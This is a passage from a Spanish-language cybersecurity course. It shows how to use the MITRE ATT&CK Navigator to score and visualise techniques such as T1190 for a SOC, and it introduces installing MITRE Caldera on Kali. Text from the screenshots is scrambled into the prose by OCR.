ATT&CK”, pero por supuesto, se puede elegir la que mas necesitemos para nuestro entorno.

Una vez seleccionada la matriz, se nos desplegard una ventana muy, pero muy similar a la
gue nos presenta MITRE en su Web oficial, pero iremos viendo “paso a paso” que este
navegador de Github, nos ofrece algunas capacidades adicionales que nos seran de mucho
valor.

En la imagen de abajo, vemos la ventana del nuevo nivel que acabamos de crear para la
matriz Enterprise ATT&CK.

& ATT&CK® Navigator X <+

Un primer aspecto que es diferente, e

son los tras botones que nos presenta | laver X Initial Access X +
en el extremo superior derecho [ sekctonconiols | Layerconuois | Technique Controls
. A .
(recuadrados en rojo). @ .= ll@o@3 i+ X
H Resource Initial Privilege Credential Lateral
e Selection Controls Reconnaissance Development Access Execution  Persistence Escalation Defense Evasion Access Discovery Movement  Collection
10 techniques 8 techniques 11 techniques 16 techniques 23 techniques 14 techniques 45 techniques 17 techniques 33 techniques 9 techniques 17 techniqueg
e Layer Controls
Active Scanning Acquire Content Cloud Account Abuse Abuse Elevation Adversary-in- Account Discovery M Exploitationof  Adversary-in-
H Access Injection Administration Manipulation Elevation Control Mechanism the-Middle Remote the-Middle
L4 TeC h ni CI ue CO nt ro I S Command Control Services
Gather Victim Host |l Acquire Drive-by Mechanism Application Window
. Information Infrastructure lll Compromise  Command and BITS Jobs Access Token Brute Force Discovery Internal Archive
Scripting Manipulation Spearphishing  Collected
Ca d auno d ee I I OSI nos Ofre ceo pC| ones Gather Victim Exploit Interpreter Boot or Logon M Access Browser Information Data
. Identity Compromise Public- Autostart Token BITS Jobs Credentials Discovery Lateral Tool
q ue Iremos d esar rOI I an d (o] a Information Accounts Facing Execution Manipulation from Transfer Audio
Application Container Build Image on Host Password Cloud Infrastructure Capture
H 1A Gather Victim Administration Stores Discovery Remote
co ntl nuacion. Network Compromise External Command Boot or Logon | Account Debugger Evasion Service Automated
Information Infrastructure lll Remote Initialization Manipulation Exploitation Cloud Service Session Collection
Services Deploy Scripts Deobfuscate/Decode for Credential Dashboard Hijacking
Gather Victim Org Container Files or Information Access Browser
Information Develop Hardware Cloud Boot or Cloud Service Remote Session
Capabilities Additions ESXi Application Logon Deploy Container Forced Discovery Services Hijacking
Phishing for Administration Integration Autostart Authentication
Information Phishing Command Execution Direct Volume Access Cloud Storage Object Replication Clipboard
Establish Compromise Forge Web Discovery Through Data
Search Closed Accounts Exploitation for Host Software Domain or Tenant Credentials Removable
Sources Replication Client Binary Boot or Policy Modification Container and Media Data from
Through Execution Logon Resource Discovery Cloud
Search Open Obtain Removable Create I Initialization Input Capture Software Storage
Media Input Account Scripts Email Snoofing b Fvasion Deployment

O DO = localhost
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Como primer paso, vamos a crear un nuevo nivel para personalizarlo a nuestro gusto. Lo haremos, presionando en el signo “+” (circulo verde) que
vemos en la ventana de abajo, luego, una vez mas elegimos la matriz “Enterprise ATT&CK”.

Se nos volvera a presentar la misma [ c o O D s localhost & ® f =
ventana que antes, pero esta vez,
A , "« layer X T1190 X
seleccionaremos el boton “Layer
” . I Selection Controls Il Layer Controls I Technique Controls
Controls”, y presionaremos en el B
. . . =1z @~ A iy
icono de engranaje (ambos B2 = ¢ee > )t
Resource Initial Privilege
recuadrados en azu”' Reconnaissance Development Access Execution Persistence Escalat?on Defense Evasi
i 10 techniques 8 techniques 11 techniques 16 techniques 23 techniques 14 techniques 45 techniques Layer Information
En nuestro ejem plo' Ie he mos Active Scanning Acquire Content Cloud Account Abuse Abuse Elevation
p ueStO como nom b re ( N a me) Access Injection Adminis";ﬂon Manipulation Elevati?n Control Mechanism "
Comman Control e
Gather Victim Host il Acqui Drive-b Mech;
”Tllgo” y en |a Descri Cién, In?orre}:at:ﬁnlm o In%?auszfuclure CI)lYne;erise (S:grrlr‘\)rtv::gd and [l BITS Jobs eenansm ;‘\‘cacneus)‘sjl‘;lo!l;n LRk
Gather VI Expl | B L Al ‘
“ataques que hemos detectado en | wwiy [ compromise [ Public Do W Aostan o [ Token W &rms obs Descrption
Information Accounts Facing Execution Manipulation ataques que hemos detectado en T1190
T1190" (ambos recuadrados en = Application Cgmalner Build Image on Host
ther Victim Administration
) N ueStra intencién con Nglweork W C?mpromlse External Com:n:nda N Boot or Logon Account Debugger Evasion
. Information Infrastructure {ll Remote Initialization Manipulation
St Depl Script Deobfi te/Decod
este ejemp|o sera seguir avanzando Gather Victim Org ervices Container et Files of Information
4 Information Develg? :g‘rjdv‘vare = glou“d Eoot or > .
H C it t i ti t
en el ejemplo que hemos | enshingto il O Administration Imegration  Autostart [ 2
. Informat Phish! c d Execut Direct Volume Acces
desarrollado en eI punto anterior y nformation T ishing I omman —— xecution irect Volume Acce:
Search Closed Accounts Exploitation for Host Software Domain or Tenant
ahora con mayor grado de deta”e Sources ?ﬁ[;):lfgart‘lon (E:)I(lzgllmon Binary fgg(t):r Policy Modification
. ., Search Open Obtain Removable Create Initialization
pa ra me_lorar |a pFOtECCIon de Techslcal Capabilities Media Input Injection Account Scripts Email Spoofing
Dat
nuestras infraestructuras. g Supply I Inter-Process ICreale or Create or Execution Guardrails

Si en vuestro Kali, cuando escribis texto, os lo resalta, se debe a una cuestion de diccionarios de Firefox. S
ataques que hemos detectado en T1190

Para solucionarlo, posicionaros sobre cualquiera de las palabras resaltadas y con el botdon derecho,
seleccionais “Languajes”, se os abrira una nueva ventana de Firefox, en la que podéis instalar el Diccionario que deseéis. En
nuestro caso, seleccionamos Spanish (Spain) Dictionary, como podéis ver en la imagen de abajo

mozilla.org

Diccionario espaiiol México
Spanish (Mexico) Dictionary " Layer Information

Spanish (Mexico) Espafiol (de México) Language: Espaiiol (MX) (Spanish, Mexico)

190

Spanish (Spain) Espafiol (de Espaiia) Language: Espaiiol (ES) (Spanish, Spain) Spanish (Spain) Dictionﬂry
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Hasta ahora, hemos creado un nuevo nivel, que lo llamamos
“T1190” y solo le incorporamos una descripcién. Avancemos
un poco mas, vamos a cambiar de botdn y seleccionaremos el
de “Selection Controls”, una vez dentro del mismo, marcamos
en celeste (azul claro para los espafioles) lo cuarto items: Show
Control Labels, Search & Multiselect, Deselect Techniques y
Selection Behavior. Tal cual se muestra recuadrado en rojo, en
la imagen de la derecha.

Una vez que tengamos los cuatro seleccionados,
apareceran todas las opciones que podemos ver recuadradas
en verde.

QO O & localhost

Selection Controls

I Search & Multiselect Q Deselect 11 Techniques )(" Selection Behavior 6' Py

Layer Controls Technique Controls

-

ense Evasii
5 techniques

how Control Labels

nclufled Controls:

Elevation Q, Search

ol Mechanism |
nos

s Token Search Settings

Search & Multiselect
Deselect Techniques

Selection Behavior

De todas ellas, la que nos interesa para

nuestro ejercicio es “Search &
layer X 71190 X + Multiselect”, asi que seleccionamos
| Selection Controls Layer Controls I Technique Controls esta.
searhMsdect Q pesdect 0Tecniques X sekecinsebavr @ £+ B | Para seguir estudiando la Técnica T1190
. Resource lInitial _ _ Privilege (recuadrado en azul), en la ventana de
Reconnaissance Development Access Execution  Persistence Escalation Defense Evasi ,
10 techniques 8 techniques 11 techniques 16 techniques 23 techniques 14 techniques 45 techniques b Usq ued a, Ia co I ocamaos.
Active Scanning Acquire Content Cloud Account Abuse Abuse Elevation O‘ T1190 “ . ”
Access Injection Administration Manipulation Elevation Control Mechanism En |a ventana Techruques (10)
Command Control
Gather Victim Host § Acquire Drive-by Mechanism : H
Information Infrastructure {ll |Compromise| Command and [l BITS Jobs Access Token Search Settings ( recuadrado en rojo )I nos d €jac laro que
Scripting Manipulation , . .
Gather Victim Exploit Interpreter Boot or Logon [l Access name ATT&CK ID description data sources h ay 10 técnicas que tratan este tema , SI
Identity Compromise | (Public- Autostart Token BITS Jobs
Information Accounts Facing Execution Manipulation nos desplaza mos (SCFO”) en esta ventana
Application Container Build Image on Host
Gather Victim Administration
Network compromise [l Extemal  Command . Bootor Logon | Account [l Debugger Evasion podemos ver cada una de ellas.
Information Infrastructure i Remote Initialization Manipulation A
Services Deploy Scripts Deobfuscate/Decod Techniques (10) & . . s u »”
Gather Victim Org Container Files or Information Si presionamos en el boton “Select all
Information Develop Hardware Cloud Boot or
» Capabilities [l Additions ESXi Application Logon Deploy Container I selectall I deselect all ( recuadrado en verde ) pod emos ver
Phishing for Administration Integration Autostart ’
Infi ti Phish: C d E Direct Vol Acces ic- i H H
nformation s ishing I omman e— xecution rect Volume Acce Exploit Public-Facing Application view select  deselect inmediatamente que ha recuadrado en
Search Closed Accounts Exploitation for ~ Host Software Domain or Tenant .
Sources Replication  Client Binary Boot or Policy Modification Active Scanning View = select  deselect “n eg ro” cada una de ella S, Y a Su vez,
Through Execution Logon =
Search Open Obtain Removable Create Initialization Drive-by Compromise view select  deselect = i i “
Technical Capabilities Media Input Injection Account Scripts Email Spoofing tam b €N Nos In d Ica q ue h ay 10 Dese I eCt
Databases Gather Victim Host Information . ”
Supply I Inter-Process Create or Create or Execution Guardrails Firmware view ' select deselect 10 TECh ni q ues .
Canrnh Nnan Ctanna Dhain Damen: Adndif Andif
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En este momento, siguiendo estos pasos hemos identificado que hay 10 técnicas relacionadas con T1190, las hemos seleccionado y son, en nuestro
ejemplo, el foco sobre lo que iremos investigando para conocer en detalle como pueden ser explotadas por cualquier intruso.

El paso siguiente que podemos dar, es asignarle a cada una de ellas un determinado puntaje (Score), el cual, serd arbitrario pues depende
especificamente de cada infraestructura y las medidas de proteccién, o no, que tenga implantada.

Antes de dar este paso, veamos de qué forma podemos personalizar estos valores y sus colores asociados. Seleccionemos primero el botén “Layer
Controls” (recuadrado en rojo, en la primera imagen de abajo), y a continuacion, hacemos “click”, en el dibujo de la paleta de colores (también en
circulo rojo). Por defecto, el rango de valores, podemos ver recuadrado en azul en esta primera imagen, oscila entre 0y 100, a su vez el valor de
menor puntaje es rojo, el intermedio y el de maximo valor es verde (los tres colores estan dentro del recuadro verde. En nuestra opinidn,
estos colores no son muy representativos en la operacion diaria de un SOC (Security Operation Center), por lo que vamos a modificarlos. Para
hacerlo, se muestra en las tres imagenes centrales, donde podemos ver que en cada una de ellas, recuadramos en verde, el casillero de color de
abajo, del medio y de arriba, al hacer “click” en ellos, se nos desplegara un recuadro con continuo de colores para que elijamos qué color deseamos
asignarle. En nuestro caso, seleccionamos: para el valor mas bajo, para los intermedios, y rojo para los mas altos. También podemos
ver en la imagen de la derecha, el resultado final de los tres que hemos seleccionado, y a su vez que preferimos tener una escala cuyo valor superior
sea 10 (no 100).

En resumen, hemos configurado nuestra matriz, para que podamos asignarle valores entre 0y 10 a cada técnica, representando con rojo (10) la que
consideremos mas peligrosa o critica, y (1) las menos criticas. Las que no le asignemos ningun valor seguiran quedando en color blanco.

jon Controls Layer Controls Technique| lon Controls Layer Controls Technique lon Controls Layer Controls Technique|
bn Controls Layer Controls | - l [t - | < | - | on Controls Layer Controls
s =ll@ o &= li@ o : g#s=leo:
‘ — Tactic Row Background Tactic Row Background Tactic Row Background — A
e teral teral teral 533 ¥ = Z @~
—_— show | #dddddd fement  ( show |  #dddddd ement @ show | #idddddd jement  ( —
Tactic Row Background Scoring Gradient Gzl Scoring Gradient praee Scatieg Srachant Sl Tactic Row Background
Low value 0 ation of Ahc Low vilue 0 ationof  Ad| Low value 0 ation of ':‘C
Pr———— e R - thd e 1
show I #dddddd remove | #ffe766 les remove M les show I ##dddddd
remove _'f_’_“gv_e_ ML LTI O
Scoring Gradient Scoring Gradient

Low value: Low value:

\ removell  #ffe766
EO T T | remove

Disoow D @ . o
Cloud § o Cloud § @ ¢ . | remove

~ Discove Discove ‘ ) v "

| add another color conta ) ] : \

A Contair|
= Resour( #ffaf66 v Resour( fer
High value: Debugg Hex Debugg #ee1308 $ High value:
Device Praset color Hex -
presets v ] = ‘ 3;\2235 & B presets v

MITRE.org 34



Alejandro Corletti Estrada

i

www.darFe.es

Para comenzar a asignar valores (Score) a cada una de estas 10 técnicas que hemos seleccionado, nos vamos ahora al botdn de Controles de Técnicas
(Technique Cntrols) que hemos recuadrado en color verde, en ese en esa nueva ventana seleccionamos, dentro de la familia “Initial Access” la

vulnerabilidad que estudiamos en el punto anterior, es decir, “Exploited Public Facing application”.

Una vez seleccionada, nos vamos al botdn de

Score que hemos descuadrado en azul, y en el mismo, le asignamos el valor maximo es decir 10, pues es la vulnerabilidad que ya hemos analizado en
detalle, sabiendo que aplicd, y se realizé un ataque sobre un servidor apache de nuestra infraestructura, tal cual fue evaluado en el punto anterior,
todo esto lo hemos recuadrado en azul. Automaticamente, al asignarle el valor 10 a esta técnica, podemos apreciar que la casilla inmediatamente
se puso de color rojo tal cual se muestra en la imagen de abajo pues se corresponde al color que acabamos de asignar a los mas critico en el parrafo

anterior.

O O &2 localhost

layer X T1190 X -+

Initial
Access
11 techniques

. Resource
Reconnaissance Development

10 techniques 8 techniques

Execution
16 techniques

Active Scanning Acquire Content Cloud
Access Injection Administration
Command

Gather Victim Host § Acquire Drive-by

Information Infrastructure Command and
Scripting
Gather Victim Interpreter
Identity Compromise )
Information Accounts
Container
Gather Victim Administration
Network Compromise XLeina Command
Information Infrastructure Remote
Services Deploy
Gather Victim Org Container
Information ., Develop Hardware
Capabilities Additions ESXi
Phishing for . Administration
Information . , Phishing Command
Establish
Search Closed Accounts Exploitation for
Sources Replication Client
Through Execution

Search Open

Technical

Obtain' ) Rempvable

Privilege
Escalation
14 techniques

Persistence
23 techniques

Account Abuse
Manipulation Elevation

Control
Mechanism
BITS Jobs
Boot or Logon Access
Autostart Token
Execution

Manipulation

Boot or Logon Account

Initialization Manipulation

Scripts ’

Cloud Boot or

Application Logon

Integration Autostart
Execution

Compromise 1

Host Software

Binary Boot or

Logon
Initialization

Create
A Scrinte

Defense Evasi
45 techniques

Abuse Elevation
Control Mechanism
Access Token
Manipulation -
BITS Jobs

Build Image on Host
Debugger Evasion

Deobfuscate/Decod
Files or Information

Deploy Container
Direct Volume Acces

Domain or Tenant
Policy Modification

Email Snonfina

Layer Controls

Selection Controls I

% 2

Matrix Layout

@ side layout show IDs
O flat layout
O mini layout show names

Aggregate Scores
show aggregate scores

Aggregate Function

average
min
max
sum
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Supongamos que otro de los | . x 71190 X +
?ct)iq Lcjszstc;:ie Sesetsacr:::ossu;:e“:?:é | Selection Controls | Layer Controls | Technique Controls

Search & Multiselect @ Deselect 10 ques X Sel havior v i+ I
de palabras (wordlist), queremos
. . , . Resource |nitial X . Privilege
econnaissance evelopmen ccess xecution ersistence Scalatior
investigar mas sobre este tema, por R Devel t A Execut Persist Escalat
. 10 techniques 8 techniques 11 techniques 16 techniques 23 techniques 14 technique
IO q ue p Od €mos SeIeCC|On ar Scanning IP Blocks Acquire Content Cloud Account Albuse Q T1190
. . . Al Injecti Administration N\ lati Elevati
”Act Iive Sca nni ng: WO rd I Ist Aative Scahning Vulnerability Scanning = i Command i C:;tar:;(lm
i Drive-b: Mech: .
Sacnning” (como podemos ver en Wordlist Scanning mﬁ:;{fucture Command and [l BITS Jobs echanism Search Settings
Scripting
- ” ATT&CK ID d i d
celeste 0 azul claro para espafioles, | e yicum Hos S — W Qi - T
. A E i Manipulati
abajo a la derecha de nuestra | anerveim o Contaner Gy .
Identity ) Administration
imagen). Si hacemos “click” en la | momser G e (ommi [ e |
o .én ,,V.e ” se nos abr.ra, na Gather \k/icllm Services Deploy Scripts Techniques (10) -
pCI Iew ’ ! u l":\a‘:’r?\;non Develop Hardware dand Cloud Boot or
nueva ventana de nuestro T Ca?abilities Additions §§X| . Applaicaliov: kzci;::‘ - select all deselect all
navegador Firefox, directamente | "™ establsh [ o I S I oo [ Active Scanning view | select | deselect
. PhIShIngval Accounts 2y Exploitation for Host Software Active Scanning : Vulnerability :
hac| a |a URL de- Information Replication Client Binary Boot or S view select deselect
. h Closed Obtail ;hroug:bl e Creat :.o?olnz ti ——
Sear: 0Se n emovabie reate nitialization Ac 1q )| 3
httlgs://attaCk.MITRE.org Sﬁ:rges Capabilities Media " Input Injection . Account I Scripts ms::-mn'mn xﬁ select deselect
Tal cual podemos ver en la imagen de abajo.
C @ O 8 w g B &
MITRE | ATT&CK®  Matrices ~  Tactics ~  Techniques ~  Defenses ~  CTI~  Resources ~  Benefactors  Blog ‘Te
ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. Tickets are available now!
TECHNIQUES S - Vestniauts > Eikigyyien;> Jitve Sosesicy = WorietScansing Desde esta nueva pagina, podemos hacer un estudio inicial sobre esta
::;:::g Active Scanning: Wordlist Scanning sub técnica, para poder asignarle un puntaje (Score).
gaﬂ:er Victim 5 Other sub-techniques of Active Scanning (3) v ID: T1595.003
os ; -
Information Adversaries may iteratively probe infrastructure using brute-forcing and crawling Sul}technlque of: T1595

Supongamos que es un tema que puede merecer seguir investigando

Gather Victim o techniques. While this technique employs similar methods to Brute Force, its goal ® Tactic: Reconnaissance

Identity is the identification of content and infrastructure rather than the discovery of valid @ Platforms: PRE de forma priorita ria, por lo que, por ejemp|0, le aSigna mos un Score
Information credentials. Wordlists used in these scans may contain generic, commonly used Contributors: Elvis Veliz, Citi; de 7 CO mo pOdemOS ver en Ia imagen q ue Sigue a bajo a
Gather Victim o names and file extensions or terms specific to a particular software. Adversaries Jan Petrov, Citi; Richard Julian, . ., h . . . 4
Network may also create custom, target-specific wordlists using data gathered from other Citi COntInua Clon, una vez maS, de forma automat|ca e |nmEd|ata mente
Information Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim Version: 1.0 |a Celda se C0|Ol'ea en eSte caso de nara nja

Owned Websites) Created: 04 March 2022 ’ '

Gather Victim v Last Modified
ast Modified: 15 April 2025
Org Information For example, adversaries may use web content discovery lools such as Dirb,
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layer X

Reconnaissance
10 techniques

Scanning IP Blocks

T1190 X

Vulnerability Scanning

Gather Victim Host
Information

Gather Victim
Identity
Information

Gather Victim

+
Resource Initial Privilege
Development Access Execution Persistence Escalatior
8 n 16 23 14 hy
Acquire Content Cloud Account Abuse
Access Injection Administration Manipulation Elevation
Command Control
Acquire Drive-by Mechanism
Infrastructure lil Compromise  Command and BITS Jobs
Scripting
Interpreter Boot or Logon [l Access
Compromise Autostart Token
Accounts Execution Manipulation
Container
Administration
Compromise External Command Boot or Logon | Account
Infrastructure il Remote Initialization Manipulation
Services Deploy Scripts
Container

Selection Controls I Layer Controls I Technique Controls

Q T1190

Search Settings

name ATTECKID Qi description

Techniques (10) A

Z bR oo =% i I

data sources

Para finalizar con este ejemplo, podemos seguir asignando valores de criticidad a cada una de las técnicas que agrupa la vulnerabilidad T1190, con lo

gue ya tendremos una vision grafica, cuyos colores identifican el interés o criticidad que tiene, segln nuestro criterio, cada una de ellas.

podemos verlo en la imagen que sigue a continuacion.

layer X T1190 X + @)
Selection Controls I Layer Controls | Technique Controls
% % @ 8 o iv R
Resource Initial i - Privileg
Reconnaissance Development Access Execution Persistence Escalati
10 techniques 8 techniques 11 techniques 16 techniques 23 techniques 14 techniq
Scanning IP Blocks Acquire Content Cloud Account Abuse 0‘ T1190
Active Access Injection Adi ation Manipul El
2 Inerability g Command Control
(@3) Acquire Drive-by Mechanism S h Setti
Wordlist Scanning Infrastructure ll Compromise  Command and [l BITS Jobs earcn settings
Scripting
Client Configurations Interpreter Boot or Logon [l Access name [ ATTECKID description data sources
Compromise Autostart Token
Gather Victim Host Firmware Accounts i Execution Manipulatic
|Information skirtlodd .
(/4 Hardware Administration
Compromise External Command Boot or Logon Account
Software Infrastructure Remote Initialization Manipulatic 2
Services Deploy Scripts Techniques (10) -
Gather Victim Container
Identity Develop Hardware Cloud Bootor
Information Capabilities Additions ES,X' Application l;ogon select all deselect all
174 auon i 1 1S
Gather Victim ) Phishing I Command = Execution SeHNRG
Network Establish . Compromise ‘ i 5 : :
Information Accounts Exploitation for Host Software Develop Capabilties : Exploits View - select deselect
Replication Client Binary Boot or i ;
Gather Victim Org Through Execution Logon Drive-by Compromise View select  deselect
Information Obtain Removable Create Initializatio 3 =
Capabilities Media Input Injection Account Scripts Exploit Public-Facing Application view select deselect
Phishing for 1 .
Information i Supply Inter-Process Create or Create or Gather Victim Host Information :
Stage Chain Communication fll Modify Modify Firmware View select  deselect
Purchase Technical Data Capabilities Compromise System System
Search Closed Process Process
Sources
072 Threat Intel Vendors Native API
Trusted Event Nomain or

Esto
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Todo esta andlisis que hemos venido haciendo, una vez que esta a un
nivel adecuado de completamiento, puedes exportarlo en diferentes | o= * ™ x ¢
formatos.
En el ejemplo que se presenta en la imagen de la derecha, desde el botén comnaissan osepa ASCHs  brecuion  porsiteng
“Layer Controls”, puedes ver el icono de “Descargas” y en este caso, e A e TR || TR 1 T
H “ ” ::‘ ‘B o fp— Drive-by b Mechanisr
hemos seleccionado exportar a formato “Excel”, todo ello lo hemos Wodstscamng  nissncues [ Gompromse ;o,,m;;;awlwsm Saerch Sutgs
Client Configurations Interpreter Boot or Logon [l Access name ATT&CK 1D descripton data sources
recuadrado en color verde. f— i . [ O [
s Compromise [l Extemal Q:rr:\“-:.:v“x: o Boot or Logon il Account
Software Infrastructure m:; = }sr::;l;:lnon Manipulatic Techniques (10) x
3:::\' o Hardware sworia Cloud Boot or
. . . . it i | s | T | K, st ot o
Una vez descargado, en vuestro Kali, podéis abrirlo directamente con el | gy i o o | el R e B
. . Information Accounts nestcoton | Exlotatonfor  Host Software e : -
paquete “Libre Office” que ya trae incorporado Kali. et wemorg e T Been T e ey Compromie dew seec deseect
o ﬁ::ﬂnn Media Input Injection Account Scripts Exploit Public-Facing Application view select  deselect
_ _ information s supply Ig‘l’#""‘?‘c‘::‘sm"l 3;;:;0. ;I‘v;’l'eym 2.::::.3 'Ve\chmHuslIn(mmancn v T S
S @M T ile epm P 2 0 83 | semicised ] purchase echnicaivata Copabities ] Compromise| System. Sysem
- Matriz-T1190.xsx — LibreOffice Calc e T el Voo Trusted el Event Domain or

fle EdR View Imert Format Siles Sheet Data Tooks Window Hep

5 [ 3 T . o 2 " e
AY.81 j Ix - Reconnaissance v

[ YT —

Combria

Si tenéis alguna plataforma que incorpore cédigo JSON, también podéis
descargarlo en este formato, que os ofrece una mayor capacidad luego
para interpretarlo.

TETETT

RERANBE

dow json y i y
= Ml annotations on visible techniques

il
M 4 ) ) 4 Enterprise ATTACK ¥17 flayer-0) |_Enterprise ATTACK v17 (T1190-1)

Por ultimo, os dejamos para que trabajéis e investiguéis muchas mas funcionalidades que nos ofrece este Navigator de Github, como las que se
presentan a continuacion.
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Selection Controls | Layer Controls I Technique Controls

Q Wannacry

Search Settings

name ATT&CK ID description

Techniques (3)

selectall
Service Stop
Data Encrypted for Impact

Inhibit System Recovery

Threat Groups (0)

select Q Deselect 0 Techniques XJ Selection Behavior av H

<
D
=

<
o
=

<.
>
=

data sources

deselect all
select deselect
select deselect

select deselect

I

El primer ejemplo que hemos elegido, por la fama que obtuvo es el del “Wannacry”, por si también lo habéis sufrido.

Esto que planteamos aqui es otra de las formas de seleccion multiple, en la cual en vez de seleccionar una técnica,
como hicimos en las paginas anteriores con T1190, en este caso, buscamos por una palabra clave que identifique un

tipo de ataque conocido, como es Wannacry.

En la imagen de la izquierda, podemos ver que hay tres técnicas que sirven para ejecutar esta conducta.

En la imagen de la derecha, se presenta otra de las opciones que
nos ofrece la seleccién multiple. En este caso se trata de la
agrupacion por software. En este ejemplo, hemos podemos ver
el caso de protocolo “ftp”, pues es un tema que lo hemos
desarrollado en la Charla 97 de nuestro ciclo “Aprendiendo
Ciberseguridad paso a paso”:

@ Footprinting (Protocolos inseguros - FTP) - Charla 97:
https://youtu.be/OHt7SckbktY

Puedes estudiarlo desde este video, y es un protocolo

[ Selection Controls l_ Layer Controls I Technique Controls

gue a pesar de ser inseguro, en muchas redes LAN

Mitigations (44)

Campaigns (47)

Assets (0)

Data Sources (109)

selectall
Active Directory: Active Directory
Credential Request
Active Directory: Active Directory
Object Access

Active Directory: Active Directory
Object Creation

Active Directory: Active Directory

belect Qi Deselect 16 Techniques )X Selection Behavior g -
Software

F

deselect all

<
®
=

select deselect

<
™
=

select deselect

<
=

select deselect

VioW  malast SN

v

I

(Local Area Network) lo veremos presente.

opciones que nos ofrece pues, de verdad son muchas.

I Selection Controls Layer Controls | Technique Controls

tiselect Q Deselect 3 Techniques )(3 Selection Behavior ﬁ' H

Threat Groups (166)
Software (755)

select all deselect all
FruitFly view select deselect
ftp View select = deselect
FunnyDream view select deselect
FYAnti view select deselect

[ o %

it

Finalmente a la izquierda, se presenta otro de los grupos que nos ofrece la seleccién multiple, en el cual hemos
elegido “Data Sources” y dentro de este grupo, hemos ido seleccionando cada uno de los casos que se relacionan
con “Active Directory” pues es una realidad en muchas infraestructuras.
presenta 16 técnicas que podemos analizar, todo esto lo hemos recuadrado en verde.

En este caso Active Directory nos

Os invitamos a que naveguéis un rato sobre esta herramienta de Github, e investiguéis con mas detalle todas las
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PRACTICAS Y EJERCICIOS DEL CAPITULO 2

Pregunta 8 (seleccion muiltiple):
¢Para qué sirve principalmente MITRE ATT&CK?

a) Crear nuevos virus informaticos

b) Mapear tacticas y técnicas de ataque usadas por adversarios
c) Descargar software antivirus

d) Mejorar la velocidad de internet

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 9 (seleccion muiltiple):
éLas tacticas en ATT&CK representan?

a) Métodos especificos

b) Objetivos o metas del adversario
¢) Herramientas de ataque

d) Sistemas operativos

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.

Pregunta 10 (seleccion multiple):
¢Quién puede usar MITRE ATT&CK para mejorar la seguridad?

a) Solo hackers

b) Red teams y defensores

¢) Usuarios finales sin conocimientos
d) Proveedores de internet

Todas las respuestas, las encontraras al final de este articulo, en la seccién “Respuestas”.
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3. Mitre Caldera

£33 Escenario de simulacién

Objetivo: simular y analizar una cadena de ataque mediante Caldera, y mapearla en MITRE ATT&CK.

3.1 Qué es Caldera de MITRE: https://caldera.mitre.org i R T e e

Su pagina principal es la que podemos ver en la imagen de la derecha. MITRE CALDERA

N

Para tener un buen punto de partida, nos iremos a ver la opcién “Documentation’

#  Welcome to MITRE Caldera’s documentation! View page source A Sealable. Aut ted Ad
calable, Automate versary

Emulation Platform

Welcome to MITRE Caldera’s documentation!

CA L D E RA Caldera™ is an adversary emulation platform designed to easily run autonomous breach-and-attack

simulation exercises. It can also be used to run manual red-team engagements or automated

_ incident response. Caldera is built on the MITRE ATT&CK™ framework and is an active research

project at MITRE.

CALDERA

The framework consists of two components:
Installing MITRE Caldera

Getting started 1. The core system. This is the framework code, including an asynchronous command-and-control La tradUCCién “teral de IO que hemOS remarcado en rOjO es:
(C2) server with a REST API and a web interface. '

Learning the terminology

“Caldera es una plataforma de emulacion de adversarios disefiada

Basic Usage 2. Plugins. These are separate repositories that hang off of the core framework, providing additional

Server Configuration functionality. Examples include agents, GUI interfaces, collections of TTPs and more. para ejecutar fdci/men te ejercicios auténomos de Sim UlaCiOln de
Plugin library .7 . .

Parsers Visit Installing Caldera for installation information. breChaS y ataques' Tamblen se puede Utlllzar para ejeCUtar
Relationshigs operaciones manuales de equipos rojos o respuestas automatizadas

For getting familiar with the project, visit Getting started, which documents step-by-step guides for

Requirements the most common use cases of Caldera, and Basic usage, which documents how to use some of the a inCiden tes. Caldera se basa en e’ marco MITRE A TT& CK™ y es un
Objectives basic components in core Caldera. Visit Learning the terminology for in depth definitions of the proyeCtO de I'n Vestigacioln CICt/VO en MITRE"

Operation Results terms used throughout the project.

Initial Access Attacks La documentacion que nos ofrece esta Web es muy completa y

For information about Caldera plugins, visit Plugin Library and How to Build Plugins if you are

interested in building your own. debemos recurrir a ella ante cualquier duda.

Windows Lateral Movement Guide
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Caldera nos permitira ejecutar cualquiera de los ataques que nos presenta MITRE (y mucho mas), analizarlos desde cada uno de los comandos o
acciones que un intruso ha realizado, y con ello comprender cdmo es la metodologia y pasos que realizé.

Basicamente se trata de una interfaz gréfica que se ejecuta en un servidor y que trabaja en conjunto con la matriz MITRE ATT&CK. Con este interfaz
grafica podremos crear escenarios de ataques reales y la conectaremos con un agente que se comunicara con este servidor usando C2 (Command &
Control).

La importancia de aprender a emplear Caldera es que nos sera de utilidad, tanto para los operadores del Red Team que
pueden beneficiarse de esta herramienta ejecutando las técnicas que hemos ido desarrollando, y por otro lado, los
operadores del Blue Team pueden ejecutar y revisar acciones de respuesta a incidentes. Ademas, estd construido sobre
el marco de MITRE ATT&CK, que es desde donde la plataforma extrae todas las tacticas, técnicas y procedimientos. Es
decir, estamos profundizando en una metodologia de trbajo que completa de forma practica, todo lo que nos ofrece CALDERA
MITRE.

El proyecto Caldera de MITRE es una plataforma de tipo Breach and Attack Simulation (BAS) de cédigo abierto que permite emular las Tacticas,
Técnicas y Procedimientos (TTP) de explotacidn de redes y sistemas.

Para mantener nuestra metodologia de trabajo eminentemente prdctica, pasemos a trabajar con Caldera.

3.2 Herramienta: Caldera de MITRE (https://caldera.mitre.org)

3.2.1 Instalacion de Caldera.

Encontraréis en el enlace de caldera que hemos puesto arriba, y en todo Internet, varios foros para la instalacién de caldera desde Github.
Esta instalacién, en muchos casos suele ponerse complicada. Pero nuevamente otra de las maravillas que nos ofrece nuestro Kali Linux,
es que nos permite instalarlo sencillamente con el comando “apt”. Recomendamos que lo hagais con la ultima versién de Kali.

En nuestro caso, como
podéis ver en la imagen R
de la derecha, estamos [T kaii
en la versién 6.12.33 de
junio de 2025.

/home/acorletti

6.12.33+kali-arm64 #1 SMP Kali 6.12.33-1kalil (2025-06-25) aarch64 GNU/Linux
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Para instalarlo solo ejecutamos: “apt install caldera”.

i acorlett Una vez finalizada la instalacion, se ejecuta con: “caldera --insecure”. La opcién “--

el insecure”, nos permite trabajar con protocolo HTTP. Por supuesto mucho cuidado con el
mismo, si lo hacemos en redes en produccién, pues recordad que es un protocolo inseguro
con lo que en ese caso no colocaremos “--insecure”.

Installing dependencies:

/home/acorletti

server.py:219

Using main config from conf/default.yml server.py:228
